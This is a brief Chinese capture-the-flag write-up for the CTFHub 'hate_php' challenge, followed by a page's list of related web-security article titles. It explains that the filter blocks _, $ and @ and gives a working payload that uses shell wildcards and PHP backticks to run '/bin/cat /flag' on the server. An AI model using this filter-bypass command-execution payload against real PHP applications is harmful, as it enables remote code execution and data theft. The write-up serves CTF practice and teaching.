CTFHub-hate_php

点开链接,有源码

过滤了_ $ @

不能用定义变量的做法

用取反操作,发现环境限制,也不行

利用通配符来匹配文件路径

/bin/cat flag

?code=?><?=`/???/??? /????`?>

划到最下面

相关推荐
小楓12017 小时前
Web漏洞挖掘篇(二)—信息收集
web安全·网络安全·漏洞挖掘
久绊A16 小时前
如何在Kali Linux官网下载历史版本
安全·web安全
李白你好17 小时前
功能强大的多线程端口扫描工具,支持批量 IP 扫描、多种端口格式输入、扫描结果美化导出,适用于网络安全检测与端口监控场景
web安全
筑梦之月1 天前
3分钟解决ZAP打开浏览器闪退问题
web安全
m0_738120721 天前
CTFshow系列——PHP特性Web93-96
开发语言·安全·web安全·php·ctfshow
Suckerbin1 天前
DarkHole: 2靶场渗透
笔记·安全·web安全·网络安全
黄焖鸡能干四碗2 天前
信息系统安全保护措施文件方案
大数据·开发语言·人工智能·web安全·制造
2301_780789662 天前
渗透测试与网络安全审计的关系
网络·数据库·安全·web安全·网络安全
卓码软件测评2 天前
第三方web测评机构:【WEB安全测试中HTTP方法(GET/POST/PUT)的安全风险检测】
前端·网络协议·安全·web安全·http·xss
似水流年 光阴已逝2 天前
《网络安全实战:CC攻击(应用层)与DDoS攻击(网络层)的底层逻辑与防御体系》
安全·web安全·ddos·网络攻击·安全防护·cc攻击